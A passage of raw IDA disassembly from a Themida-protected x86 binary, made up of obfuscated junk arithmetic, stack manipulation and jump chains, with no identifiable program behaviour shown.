mov bh, al
push eax
mov al, bh
push ebx
mov bl, al
mov dh, bl
pop ebx
pop eax
jmp loc_59D617
; ---------------------------------------------------------------------------
loc_59C768: ; CODE XREF: Themida_:0059D0E9j
pop dword ptr [esp]
pop esp
mov [esp], edi
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
sub ecx, eax
pop eax
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov ebx, 5FEA7C51h
or ebx, 2E806E9Ah
jge loc_5AD63B
not ebx
push esi
mov esi, 740E4F9Dh
push ecx
pop eax
loc_59C7A3: ; CODE XREF: Themida_:005A1DCDj
mov edx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59C7BF: ; CODE XREF: Themida_:005A2F1Ej
pop ebp
add ebp, 4
push ebx
mov ebx, 2
add ebp, ebx
jmp loc_59926D
; ---------------------------------------------------------------------------
loc_59C7D3: ; CODE XREF: Themida_:005A6A17j
and ecx, 0BA5305Dh
jmp loc_59A7E3
; ---------------------------------------------------------------------------
loc_59C7DE: ; CODE XREF: Themida_:0059DB2Aj
add esp, 4
jmp loc_599F1A
; ---------------------------------------------------------------------------
loc_59C7E6: ; CODE XREF: Themida_:005ADB4Cj
; Themida_:005AEC99j
neg ebx
and ebx, 360C487Dh
not ebx
push esi
mov esi, 9B478EA7h
xor ebx, esi
jmp loc_59ED2C
; ---------------------------------------------------------------------------
loc_59C7FD: ; CODE XREF: Themida_:005A666Aj
push eax
mov eax, 1D016C51h
shl eax, 1
not eax
sub eax, 5DA75483h
xor eax, 71FA3CD2h
push edi
jmp loc_5AA280
; ---------------------------------------------------------------------------
loc_59C817: ; CODE XREF: Themida_:0059D545j
pop edx
add esp, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5A7EA2
; ---------------------------------------------------------------------------
loc_59C829: ; CODE XREF: Themida_:005A76DDj
dec ebx
xor ebx, 13FD51D0h
jmp loc_5A9EDC
; ---------------------------------------------------------------------------
db 5Bh, 0E9h, 0FEh
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_59C83B: ; CODE XREF: Themida_:005AB5F0j
mov esi, edi
pop edi
add eax, 2BB84577h
sub eax, 24276411h
sub eax, esi
add eax, 24276411h
jmp loc_5A9658
; ---------------------------------------------------------------------------
loc_59C854: ; CODE XREF: Themida_:0059F871j
or eax, 386950FDh
dec eax
jmp loc_59A400
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esi
jmp loc_59C364
; ---------------------------------------------------------------------------
loc_59C86D: ; CODE XREF: Themida_:005ABF5Ej
mov [esp], si
not word ptr [esp]
mov si, [esp]
push edi
push esp
pop edi
push edx
mov edx, 4
add edi, edx
jmp loc_598F59
; ---------------------------------------------------------------------------
loc_59C889: ; CODE XREF: Themida_:005A4E3Ej
mov ebp, edx
jmp loc_5A6316
; ---------------------------------------------------------------------------
loc_59C890: ; CODE XREF: Themida_:005A44D2j
push ecx
push 0
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, ecx
mov ebx, ebp
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_59AD96
; ---------------------------------------------------------------------------
loc_59C8AF: ; CODE XREF: Themida_:005ACA74j
add dword ptr [esp], 4
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A5424
; ---------------------------------------------------------------------------
loc_59C8D1: ; CODE XREF: Themida_:005AD68Cj
xor esi, ebp
jmp loc_5A3E67
; ---------------------------------------------------------------------------
loc_59C8D8: ; CODE XREF: Themida_:005A578Cj
xor eax, edi
jmp loc_5A21AA
; ---------------------------------------------------------------------------
loc_59C8DF: ; CODE XREF: Themida_:005A6B56j
sub esp, 4
jmp loc_59A3A3
; ---------------------------------------------------------------------------
loc_59C8E7: ; CODE XREF: Themida_:005A0B08j
pop esp
jmp loc_59ABD8
; ---------------------------------------------------------------------------
loc_59C8ED: ; CODE XREF: Themida_:005A9D10j
xor esi, 0B4A6D0E3h
mov edx, esi
pop esi
jmp loc_59B813
; ---------------------------------------------------------------------------
loc_59C8FB: ; CODE XREF: Themida_:005997A2j
push edi
jmp loc_5A484D
; ---------------------------------------------------------------------------
loc_59C901: ; CODE XREF: Themida_:005AF13Dj
add al, 0A5h
pop dx
push 56ECh
mov [esp], ecx
mov ch, 0CBh
push ecx
push eax
mov ah, dl
mov dl, [esp+5]
mov [esp+5], ah
pop eax
not dl
xchg dl, [esp+1]
mov ecx, [esp]
add esp, 4
jmp loc_5A0BB2
; ---------------------------------------------------------------------------
loc_59C930: ; CODE XREF: Themida_:0059D480j
add edx, eax
push ebx
mov ebx, 63FC36DCh
jmp loc_5A7BC7
; ---------------------------------------------------------------------------
loc_59C93D: ; CODE XREF: Themida_:0059D627j
mov esi, 4
add ebp, esi
pop esi
add ebp, 4
xchg ebp, [esp]
pop esp
pop ecx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59C955: ; CODE XREF: Themida_:00599C3Fj
push edx
mov edx, esp
push ebx
mov ebx, 4
add edx, ebx
pop ebx
add edx, 4
xchg edx, [esp]
jmp loc_5A58DB
; ---------------------------------------------------------------------------
loc_59C96F: ; CODE XREF: Themida_:005A80AAj
xor ch, bh
pop bx
push bx
push ecx
jmp loc_5ABDD4
; ---------------------------------------------------------------------------
loc_59C97B: ; CODE XREF: Themida_:005AFDD2j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
add ecx, 4
jmp loc_5A0726
; ---------------------------------------------------------------------------
loc_59C991: ; CODE XREF: Themida_:005AA616j
sub eax, 60694804h
sub eax, 70511C9Eh
add eax, 9F73FC5h
add eax, ebp
push 7ADCh
mov [esp], ebp
mov ebp, 59525FFBh
xor ebp, 4835A3Eh
xor ebp, 48C83529h
add ebp, 1
jmp loc_59B5DF
; ---------------------------------------------------------------------------
loc_59C9C6: ; CODE XREF: Themida_:005AFD99j
pop ebx
xor ebx, 40927A3h
pop ebp
push ebx
not dword ptr [esp]
pop ebx
jmp loc_59E692
; ---------------------------------------------------------------------------
loc_59C9D8: ; CODE XREF: Themida_:0059C52Bj
jo loc_5AD008
xor edx, 4791562Eh
push edx
jmp loc_5AAB6F
; ---------------------------------------------------------------------------
loc_59C9EA: ; CODE XREF: Themida_:005AD218j
mov [esp], esi
mov esi, esp
push ecx
mov ecx, 57240B1Fh
jmp loc_59FC5E
; ---------------------------------------------------------------------------
loc_59C9FA: ; CODE XREF: Themida_:005A4F53j
xor ebx, 0DD3A16E9h
add ecx, ebx
pop ebx
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
jmp loc_59FD64
; ---------------------------------------------------------------------------
loc_59CA13: ; CODE XREF: Themida_:005A6763j
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], edx
push 3500h
mov [esp], ebx
jmp loc_59BD0F
; ---------------------------------------------------------------------------
loc_59CA30: ; CODE XREF: Themida_:loc_5AE30Bj
push eax
push ebx
mov ebx, 0EF7779Fh
mov eax, ebx
pop ebx
xor edi, eax
push dword ptr [esp]
jmp loc_5A8EB7
; ---------------------------------------------------------------------------
loc_59CA44: ; CODE XREF: Themida_:005AABECj
pop ecx
push 1C97h
jmp loc_5A0ECA
; ---------------------------------------------------------------------------
loc_59CA4F: ; CODE XREF: Themida_:005AE8E0j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 166C562Bh
or eax, ecx
mov ecx, [esp]
jmp loc_59AF9B
; ---------------------------------------------------------------------------
loc_59CA67: ; CODE XREF: Themida_:0059C2CDj
push 604Eh
mov [esp], edi
mov edi, 2
push ebx
mov ebx, 19C10434h
xor ebx, esi
jmp loc_59D036
; ---------------------------------------------------------------------------
loc_59CA81: ; CODE XREF: Themida_:005A57DDj
pop eax
jmp loc_5A5942
; ---------------------------------------------------------------------------
loc_59CA87: ; CODE XREF: Themida_:0059F40Bj
push 2A90h
jmp loc_5AF02E
; ---------------------------------------------------------------------------
loc_59CA91: ; CODE XREF: Themida_:005A786Ej
shr edi, 1
xchg ecx, edi
jmp loc_5A4509
; ---------------------------------------------------------------------------
loc_59CA9A: ; CODE XREF: Themida_:005A1F6Bj
pop esi
jmp loc_5A6B4A
; ---------------------------------------------------------------------------
loc_59CAA0: ; CODE XREF: Themida_:00598BB9j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
jmp loc_59BDE6
; ---------------------------------------------------------------------------
loc_59CAB4: ; CODE XREF: Themida_:005A8013j
mov dl, cl
jmp loc_59941C
; ---------------------------------------------------------------------------
loc_59CABB: ; CODE XREF: Themida_:005991E3j
add ecx, 81CA8826h
push eax
jmp loc_5A6178
; ---------------------------------------------------------------------------
loc_59CAC7: ; CODE XREF: Themida_:005AB244j
add edi, ebx
jmp loc_5A5A7D
; ---------------------------------------------------------------------------
loc_59CACE: ; CODE XREF: Themida_:005AFBF4j
pop edx
sub ebp, 7D0F7E5Dh
add ebp, edi
add ebp, 7D0F7E5Dh
pop edi
jmp loc_59F94A
; ---------------------------------------------------------------------------
loc_59CAE3: ; CODE XREF: Themida_:005A5B35j
pop ebx
jmp loc_59B22F
; ---------------------------------------------------------------------------
loc_59CAE9: ; CODE XREF: Themida_:005A06A0j
xor eax, 6F07540Bh
sub esp, 4
mov [esp], eax
xor dword ptr [esp], 23256592h
pop edi
jmp loc_5A19F4
; ---------------------------------------------------------------------------
loc_59CB01: ; CODE XREF: Themida_:0059D8DBj
sub esp, 2
jmp loc_5A66A9
; ---------------------------------------------------------------------------
loc_59CB0C: ; CODE XREF: Themida_:loc_59B7E9j
sub edi, 2D340FE3h
jnb loc_5AC92C
jmp loc_59CFB7
; ---------------------------------------------------------------------------
push ecx
mov ecx, esp
mov dh, 9
push ebp
loc_59CB24: ; CODE XREF: Themida_:005ABD73j
mov [esp], ecx
push ebx
mov ebx, 37E94131h
shl ebx, 7
jmp loc_5ABA9D
; ---------------------------------------------------------------------------
loc_59CB35: ; CODE XREF: Themida_:0059B5C3j
add ebx, 4
push ecx
mov ecx, 4
sub ebx, ecx
pop ecx
xchg ebx, [esp]
jmp loc_59FFDD
; ---------------------------------------------------------------------------
dd 0DE004BB3h, 0FFFCE0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_59CB55: ; CODE XREF: Themida_:loc_5A0FABj
; Themida_:005A3B3Fj
mov dl, 0C3h
jmp loc_5ADF29
; ---------------------------------------------------------------------------
loc_59CB5C: ; CODE XREF: Themida_:005AB479j
mov dh, ah
jmp loc_5AB829
; ---------------------------------------------------------------------------
loc_59CB63: ; CODE XREF: Themida_:005AEA3Ej
pop esi
jmp loc_5A9A3F
; ---------------------------------------------------------------------------
loc_59CB69: ; CODE XREF: Themida_:005A43A4j
and ebx, 9083636h
add ebx, 0F6F7FA00h
mov ecx, ebx
pop ebx
add [esp+4], ecx
pop ecx
pop esi
jmp loc_5AB65F
; ---------------------------------------------------------------------------
loc_59CB83: ; CODE XREF: Themida_:005A4C22j
; Themida_:loc_5AFBA2j
push ebx
mov ebx, 46AF31A4h
dec ebx
push ebp
mov ebp, 5A215DE6h
jmp loc_59EABA
; ---------------------------------------------------------------------------
loc_59CB95: ; CODE XREF: Themida_:loc_5A6843j
dec edx
jmp loc_59BCFE
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 4
add edx, eax
pop eax
push ebp
jmp loc_5A04C8
; ---------------------------------------------------------------------------
loc_59CBC5: ; CODE XREF: Themida_:005ADB25j
pop edi
mov esi, edx
mov edx, [esp]
jmp loc_598AE1
; ---------------------------------------------------------------------------
loc_59CBD0: ; CODE XREF: Themida_:005AB5B3j
; Themida_:005AC50Ej ...
jmp loc_5AEBAE
; ---------------------------------------------------------------------------
loc_59CBD5: ; CODE XREF: Themida_:0059AD7Bj
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_5A2446
; ---------------------------------------------------------------------------
loc_59CBEF: ; CODE XREF: Themida_:0059B6F3j
pop ebx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59CBF5: ; CODE XREF: Themida_:0059B944j
mov ebp, [esp]
add esp, 4
jmp loc_5A9466
; ---------------------------------------------------------------------------
loc_59CC03: ; CODE XREF: Themida_:005AF7A0j
jmp loc_5AD51A
; ---------------------------------------------------------------------------
loc_59CC08: ; CODE XREF: Themida_:0059A1EDj
xchg eax, edx
not eax
push edx
push eax
jmp loc_5AF34B
; ---------------------------------------------------------------------------
loc_59CC12: ; CODE XREF: Themida_:loc_5A98C0j
sub edx, 0FFFFFFFFh
shl edx, 2
jmp loc_59E16B
; ---------------------------------------------------------------------------
loc_59CC20: ; CODE XREF: Themida_:00598BC1j
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov ebx, 4
sub edx, 462D760Eh
sub edx, 23386CC0h
add edx, 1C945883h
add edx, ebx
sub edx, 1C945883h
jmp loc_5AA5C5
; ---------------------------------------------------------------------------
loc_59CC4B: ; CODE XREF: Themida_:005A2DA3j
add edi, 2E7F2384h
jmp loc_59FFAC
; ---------------------------------------------------------------------------
loc_59CC56: ; CODE XREF: Themida_:005AD58Dj
pop ebp
push ebx
mov ebx, 0A43B87D1h
xor eax, ebx
pop ebx
push ecx
mov ecx, 34C21408h
sub ecx, 0EB5EBA5Eh
sub esi, ecx
jmp loc_5A3D68
; ---------------------------------------------------------------------------
loc_59CC73: ; CODE XREF: Themida_:0059C054j
push esi
mov esi, 31322E25h
sub ebx, esi
jmp loc_5A4D9D
; ---------------------------------------------------------------------------
loc_59CC80: ; CODE XREF: Themida_:005AD4F5j
add eax, 38B52EF3h
add eax, 685B7E5Ch
jmp loc_59FA21
; ---------------------------------------------------------------------------
loc_59CC8F: ; CODE XREF: Themida_:005ACEF5j
sub ebx, 3F346D6h
jmp loc_5AE35D
; ---------------------------------------------------------------------------
loc_59CC9A: ; CODE XREF: Themida_:005AAFF7j
pop esi
add edi, 0FFFFFFFFh
shl edi, 3
push ebx
push ebp
mov ebp, 3D9A2C42h
jmp loc_59F479
; ---------------------------------------------------------------------------
loc_59CCAD: ; CODE XREF: Themida_:005A8E90j
shl eax, 8
xor eax, 0FE678B8Fh
sub edx, eax
mov eax, [esp]
add esp, 4
pop ecx
mov eax, [esp]
add esp, 4
add edx, 2
jmp loc_59D69C
; ---------------------------------------------------------------------------
loc_59CCD2: ; CODE XREF: Themida_:005ACE3Dj
sub ebx, esi
sub ebx, 1EE57EA7h
pop esi
sub esp, 4
mov [esp], ebp
mov ebp, 7C2E57A9h
add ebx, ebp
jmp loc_5ACBDD
; ---------------------------------------------------------------------------
loc_59CCF0: ; CODE XREF: Themida_:005ACA58j
and edi, 1A320855h
push ebp
mov ebp, 5C16A4D6h
jmp loc_5A93AD
; ---------------------------------------------------------------------------
loc_59CD01: ; CODE XREF: Themida_:00599745j
sub eax, ebx
push dword ptr [esp]
pop ebx
push 262Bh
mov [esp], ecx
mov ecx, esp
jmp loc_5A554A
; ---------------------------------------------------------------------------
loc_59CD16: ; CODE XREF: Themida_:005A575Aj
sub esp, 4
jmp loc_5AC715
; ---------------------------------------------------------------------------
loc_59CD1E: ; CODE XREF: Themida_:005A13DCj
sub edx, 0B9B10C40h
not edx
jmp loc_59FFC6
; ---------------------------------------------------------------------------
loc_59CD2B: ; CODE XREF: Themida_:005A1122j
mov edi, [esp]
jmp loc_59E532
; ---------------------------------------------------------------------------
loc_59CD33: ; CODE XREF: Themida_:005A154Bj
mov ecx, 15202D64h
xor ecx, 48F67EE8h
xor edx, ecx
pop ecx
and edx, 79F567D6h
push ebx
jmp loc_5A99A2
; ---------------------------------------------------------------------------
loc_59CD4D: ; CODE XREF: Themida_:loc_599563j
push ebp
mov ebp, 830E41C8h
jmp loc_59FF17
; ---------------------------------------------------------------------------
loc_59CD58: ; CODE XREF: Themida_:005A04F9j
mov eax, edx
pop edx
jmp loc_59BDA1
; ---------------------------------------------------------------------------
loc_59CD60: ; CODE XREF: Themida_:005A7377j
add edx, ebp
jmp loc_598E26
; ---------------------------------------------------------------------------
loc_59CD67: ; CODE XREF: Themida_:005A9527j
push edi
mov edi, 12D95568h
sub edi, 1EA6469Fh
sub esi, edi
jmp loc_5AC378
; ---------------------------------------------------------------------------
loc_59CD7A: ; CODE XREF: Themida_:0059A1D4j
pop eax
jmp loc_599189
; ---------------------------------------------------------------------------
loc_59CD80: ; CODE XREF: Themida_:005A250Ej
push esp
pop dword ptr [esp]
jmp loc_5A2941
; ---------------------------------------------------------------------------
loc_59CD89: ; CODE XREF: Themida_:005A6C6Fj
pop esi
add ebp, 4
xchg ebp, [esp]
jmp loc_59A64C
; ---------------------------------------------------------------------------
loc_59CD95: ; CODE XREF: Themida_:0059A91Ej
push edx
mov edx, 1C637FACh
push ecx
push edi
mov edi, 4D9B48BDh
jmp loc_59B57D
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
push eax
mov eax, 4
sub dword ptr [esp+4], 4B62387Fh
jmp loc_5AC9BA
; ---------------------------------------------------------------------------
loc_59CDBD: ; CODE XREF: Themida_:005AB69Ej
push 12CAh
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_5AE1D6
; ---------------------------------------------------------------------------
loc_59CDD2: ; CODE XREF: Themida_:005AFDF2j
mov cl, 0D7h
jmp loc_59F2E9
; ---------------------------------------------------------------------------
loc_59CDD9: ; CODE XREF: Themida_:00599B7Fj
mov ecx, 4EF552A7h
add ecx, 6DD9123Ch
sub ecx, ebp
push edx
mov edx, 6DD9123Ch
push eax
jmp loc_5A2951
; ---------------------------------------------------------------------------
loc_59CDF2: ; CODE XREF: Themida_:005AD42Bj
shr ebp, 4
dec ebp
add ebp, 4BAB29E6h
inc ebp
or ebp, 14D71251h
xor ebp, 5FF7FFF9h
add eax, ebp
pop ebp
sub eax, 4
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 8000h
jmp loc_5A6B1C
; ---------------------------------------------------------------------------
loc_59CE34: ; CODE XREF: Themida_:005AD479j
pop eax
mov ecx, 9A643514h
add ecx, 123A4E65h
sub ecx, edi
sub ecx, 123A4E65h
pop edi
jmp loc_5AE81F
; ---------------------------------------------------------------------------
loc_59CE4E: ; CODE XREF: Themida_:005A75F4j
; Themida_:loc_5AD430j
add esp, 4
push 398Ah
mov [esp], ebp
push 7C81h
mov [esp], esi
push 46F15328h
pop esi
push 6DB7h
mov [esp], ebp
push eax
mov eax, 363F19F6h
xor eax, 26F02D56h
add eax, 0A83F7838h
jmp loc_59EA75
; ---------------------------------------------------------------------------
loc_59CE87: ; CODE XREF: Themida_:00599528j
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 760B0A87h
neg esi
not esi
shl esi, 5
jmp loc_5AB619
; ---------------------------------------------------------------------------
loc_59CEA6: ; CODE XREF: Themida_:0059AEDEj
pop ebp
pop dword ptr [esp]
pop esp
or edx, eax
shl edx, 1
push 76D3h
mov [esp], ecx
push edx
jmp loc_5A9B86
; ---------------------------------------------------------------------------
loc_59CEBD: ; CODE XREF: Themida_:005A39D9j
push edi
push ecx
mov ecx, 0
mov edi, ecx
pop ecx
jmp loc_5A353F
; ---------------------------------------------------------------------------
loc_59CECC: ; CODE XREF: Themida_:005A9418j
sub edx, esi
jmp loc_59DF49
; ---------------------------------------------------------------------------
loc_59CED3: ; CODE XREF: Themida_:0059F403j
mov [esp], ebp
mov ebp, 5E8813B5h
jmp loc_5A8B70
; ---------------------------------------------------------------------------
loc_59CEE0: ; CODE XREF: Themida_:005ADAEEj
sub al, dl
pop edx
sub al, 0DCh
push edx
jmp loc_59A044
; ---------------------------------------------------------------------------
loc_59CEEB: ; CODE XREF: Themida_:0059F7B9j
add edi, 612506A6h
add edi, 44148AA0h
add ebx, edi
mov edi, [esp]
add esp, 4
mov edi, [esp]
jmp loc_59E87C
; ---------------------------------------------------------------------------
loc_59CF07: ; CODE XREF: Themida_:0059E331j
push 2B7Eh
mov [esp], eax
jmp loc_5AEB91
; ---------------------------------------------------------------------------
loc_59CF14: ; CODE XREF: Themida_:005AC056j
mov [esp], ebx
mov ebx, 18234DD0h
sub [esp+4], ebx
push dword ptr [esp]
pop ebx
add esp, 4
mov eax, [esp]
push esi
push esp
pop esi
push ecx
push ebx
jmp loc_59EB7C
; ---------------------------------------------------------------------------
loc_59CF34: ; DATA XREF: Themida_:0059884Co
mov cx, [esp]
jmp loc_5AB898
; ---------------------------------------------------------------------------
loc_59CF3D: ; CODE XREF: Themida_:loc_5A7F22j
shl edx, 6
jmp loc_59C6B8
; ---------------------------------------------------------------------------
loc_59CF45: ; CODE XREF: Themida_:loc_5A77F2j
xor esi, 2DDB5F7Eh
xor esi, 302E7A90h
jmp loc_599059
; ---------------------------------------------------------------------------
loc_59CF56: ; CODE XREF: Themida_:005A0153j
add edx, 7ECB0B4Fh
pop edi
jmp loc_5AEBD0
; ---------------------------------------------------------------------------
loc_59CF62: ; CODE XREF: Themida_:005A3AA2j
; Themida_:005A8F1Cj
push esi
mov esi, 4F8C49A0h
mov edi, esi
pop esi
xor edi, 61D85B50h
jmp loc_5A04EC
; ---------------------------------------------------------------------------
loc_59CF76: ; CODE XREF: Themida_:005AF887j
push ebx
mov ebx, 458CDEFFh
jmp loc_5A469A
; ---------------------------------------------------------------------------
loc_59CF81: ; CODE XREF: Themida_:005A5C23j
; Themida_:005AD9A6j
mov ebp, 56067221h
jmp loc_5A37BB
; ---------------------------------------------------------------------------
loc_59CF8B: ; CODE XREF: Themida_:00598AACj
xor edi, 3ED48CA4h
push edi
pop esi
jmp loc_5A3A65
; ---------------------------------------------------------------------------
loc_59CF98: ; CODE XREF: Themida_:005A19EFj
push dword ptr [edi+eax*4]
push edi
jmp loc_59A915
; ---------------------------------------------------------------------------
loc_59CFA1: ; CODE XREF: Themida_:005A5ECBj
sub esp, 4
mov [esp], eax
mov al, 33h
mov bh, al
pop eax
push eax
push edx
mov dh, bh
push ecx
push eax
jmp loc_5A1E80
; ---------------------------------------------------------------------------
loc_59CFB7: ; CODE XREF: Themida_:0059CB18j
; Themida_:loc_5AE7C0j
inc bl
jge loc_5A9054
or bl, 3Bh
jmp loc_5AFAB0
; ---------------------------------------------------------------------------
loc_59CFC7: ; CODE XREF: Themida_:005ABE75j
push 1E47h
mov [esp], edi
mov edi, 794E56C0h
and edi, 11623931h
push ecx
mov ecx, 46FD3E0Ch
jmp loc_5A13BA
; ---------------------------------------------------------------------------
loc_59CFE5: ; CODE XREF: Themida_:005AD3F3j
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
jmp loc_5A73FA
; ---------------------------------------------------------------------------
loc_59CFF2: ; CODE XREF: Themida_:005AEC37j
push ebp
mov ebp, 69DB259Dh
mov ecx, 33F10918h
xor ecx, ebp
jmp loc_5ACE6D
; ---------------------------------------------------------------------------
loc_59D004: ; CODE XREF: Themida_:005AD27Bj
add ebp, 0FE772D3Eh
add edi, ebp
jmp loc_59BA2E
; ---------------------------------------------------------------------------
loc_59D011: ; CODE XREF: Themida_:005A0835j
mov dx, [esp]
add esp, 2
not dh
jmp loc_5A7593
; ---------------------------------------------------------------------------
loc_59D022: ; CODE XREF: Themida_:005A0295j
sub ecx, 2D0362C7h
xor ecx, 0FF521F9Eh
mov edx, ecx
pop ecx
jmp loc_5A6E67
; ---------------------------------------------------------------------------
loc_59D036: ; CODE XREF: Themida_:0059CA7Cj
xor esi, ebx
xor ebx, esi
not esi
xchg esi, ebx
shr ebx, 2
shl ebx, 1
inc ebx
not ebx
sub ebx, 22A35908h
add eax, ebx
pop ebx
jmp loc_5A7FEF
; ---------------------------------------------------------------------------
loc_59D054: ; CODE XREF: Themida_:0059C732j
mov ecx, [esp]
jmp loc_5A698E
; ---------------------------------------------------------------------------
loc_59D05C: ; CODE XREF: Themida_:0059DF35j
add esi, edx
pop edx
jmp loc_59E49D
; ---------------------------------------------------------------------------
loc_59D064: ; CODE XREF: Themida_:005A3632j
mov edi, 3CA279A7h
mov ecx, 30FB73F9h
xor ecx, edi
pop edi
dec ecx
xor ecx, 5CB42CC8h
sub eax, ecx
pop ecx
jmp loc_5AE098
; ---------------------------------------------------------------------------
loc_59D080: ; CODE XREF: Themida_:loc_5AB636j
xor edi, 0A0170E02h
sub esp, 4
mov [esp], edi
jmp loc_59A9DF
; ---------------------------------------------------------------------------
loc_59D094: ; CODE XREF: Themida_:005A4305j
pop eax
jmp loc_5AA56D
; ---------------------------------------------------------------------------
loc_59D09A: ; CODE XREF: Themida_:005AE97Bj
mov [esp], eax
push ebx
jmp loc_5AA906
; ---------------------------------------------------------------------------
loc_59D0A3: ; CODE XREF: Themida_:005A1AE4j
or ebx, 700858FBh
push esi
mov esi, 778C624Dh
shl esi, 2
shl esi, 2
and esi, 2CF43AEBh
push eax
mov eax, 17B49C8Ch
xor esi, eax
jmp loc_5A3647
; ---------------------------------------------------------------------------
loc_59D0C8: ; CODE XREF: Themida_:0059C57Fj
pop edi
jmp loc_5A555F
; ---------------------------------------------------------------------------
loc_59D0CE: ; CODE XREF: Themida_:0059F2A6j
mov esi, esp
add esi, 4
sub esi, 4
push 6089h
mov [esp], esi
push dword ptr [esp+4]
pop esi
jmp loc_59C768
; ---------------------------------------------------------------------------
loc_59D0EE: ; CODE XREF: Themida_:005A3BD2j
add esp, 4
add eax, 4AE529F2h
jmp loc_5ADE9B
; ---------------------------------------------------------------------------
loc_59D0FE: ; CODE XREF: Themida_:005A7507j
or ebp, 6D3B3F23h
jmp loc_5A6F1F
; ---------------------------------------------------------------------------
loc_59D109: ; CODE XREF: Themida_:0059BDB6j
; Themida_:005A2AEDj
push ecx
mov ch, 61h
xor ch, 0CBh
jmp loc_59EB26
; ---------------------------------------------------------------------------
loc_59D114: ; CODE XREF: Themida_:0059B71Cj
pop ebp
push 48BBh
mov [esp], eax
mov eax, 6A1F9Bh
and eax, 344E05B1h
jo loc_5A6D0B
xor eax, 37F426AFh
js loc_5A75B8
not eax
shr eax, 5
jz loc_5A790B
add eax, 0F9BDF11Eh
push ebx
mov ebx, 5715369Eh
sub ebp, 309C4592h
sub ebp, 327852ECh
sub ebp, 6CC86F78h
add ebp, ebx
add ebp, 6CC86F78h
add ebp, 327852ECh
add ebp, 309C4592h
pop ebx
sub ebp, 35BE56B3h
add ebp, eax
add ebp, 35BE56B3h
jmp loc_59F849
; ---------------------------------------------------------------------------
loc_59D188: ; CODE XREF: Themida_:005A4097j
mov ebp, [esp]
push ebp
mov ebp, esp
jmp loc_5A2668
; ---------------------------------------------------------------------------
loc_59D193: ; CODE XREF: Themida_:005A0991j
; Themida_:005A9B0Bj
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
mov ecx, [esp]
push eax
jmp loc_59C33E
; ---------------------------------------------------------------------------
loc_59D1AC: ; CODE XREF: Themida_:loc_5A49A8j
sub edx, 7DF36C06h
jg loc_5AF3F4
not edx
jmp loc_59D3CA
; ---------------------------------------------------------------------------
loc_59D1BF: ; CODE XREF: Themida_:00598DCFj
not ecx
inc ecx
jp loc_5A580C
push eax
jmp loc_59E73C
; ---------------------------------------------------------------------------
add ebx, edi
pop edi
mov cl, 0DCh
mov ah, 5Bh
loc_59D1D5: ; CODE XREF: Themida_:0059BC2Bj
; Themida_:005AA72Dj
add eax, esi
pop esi
jmp loc_5A02E2
; ---------------------------------------------------------------------------
loc_59D1DD: ; CODE XREF: Themida_:005A0989j
add ebx, eax
pop eax
add eax, ebx
pop ebx
shl eax, 5
jnz loc_59A2EE
add eax, 0BA033389h
mov ecx, eax
mov eax, [esp]
mov al, 0D3h
pop ebp
loc_59D1FA: ; CODE XREF: Themida_:005A9786j
add eax, 0FF78A7CCh
push ebp
mov ebp, 51D4069Dh
sub ebx, ebp
pop ebp
add ebx, eax
jmp loc_5A7847
; ---------------------------------------------------------------------------
loc_59D20F: ; CODE XREF: Themida_:005A0867j
shr ecx, 2
not ecx
xor ecx, 0AF851084h
sub edi, ecx
mov ecx, [esp]
jmp loc_5A6BA1
; ---------------------------------------------------------------------------
loc_59D224: ; CODE XREF: Themida_:0059E9F7j
pop ecx
add esp, 4
push 7569h
mov [esp], eax
sub esp, 4
jmp loc_5ABE30
; ---------------------------------------------------------------------------
loc_59D23B: ; CODE XREF: Themida_:005A3178j
push small 6ABAh
mov [esp], dx
sub esp, 4
mov [esp], eax
push ebx
mov bh, 0F6h
jmp loc_599330
; ---------------------------------------------------------------------------
loc_59D251: ; CODE XREF: Themida_:0059F0E9j
; Themida_:005A3C20j
push dword ptr [esp]
pop esi
jmp loc_5A76CB
; ---------------------------------------------------------------------------
loc_59D25A: ; CODE XREF: Themida_:0059E132j
xchg al, dl
sub esp, 4
mov [esp], ecx
jmp loc_5A5149
; ---------------------------------------------------------------------------
loc_59D26A: ; CODE XREF: Themida_:005A6E0Bj
push esi
jmp loc_599D4B
; ---------------------------------------------------------------------------
loc_59D270: ; CODE XREF: Themida_:005A9C71j
push eax
mov eax, 0B6087521h
xor edx, eax
pop eax
push eax
mov eax, 7F2514CFh
dec eax
jmp loc_5A9CD5
; ---------------------------------------------------------------------------
loc_59D285: ; CODE XREF: Themida_:005A7290j
pop esp
sub edi, ebp
pop ebp
jmp locret_5AEDC9
; ---------------------------------------------------------------------------
loc_59D28E: ; CODE XREF: Themida_:005AF394j
